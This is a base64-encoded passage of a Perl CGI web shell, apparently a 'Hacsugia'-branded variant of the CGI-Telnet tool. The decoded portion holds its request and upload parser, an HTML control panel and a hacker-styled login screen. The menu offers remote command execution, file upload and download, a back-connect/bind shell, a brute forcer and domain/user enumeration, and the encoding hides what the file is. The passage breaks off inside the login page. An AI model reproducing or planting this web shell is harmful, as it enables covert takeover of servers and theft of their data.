TkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2Zvbn